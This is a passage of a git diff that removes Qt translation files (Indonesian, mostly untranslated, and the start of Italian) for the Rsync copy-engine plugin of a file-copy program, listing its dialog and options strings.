- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/id/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/id/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/id/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/it/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/it/translation.ts
deleted file mode 100644
index 16adaed..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/it/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="it" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>Non supportato su questa piattaforma</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Ultima modifica è sbagliato</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Ultima data di accesso è sbagliato</translation>
- </message>
-</context>
-<context>
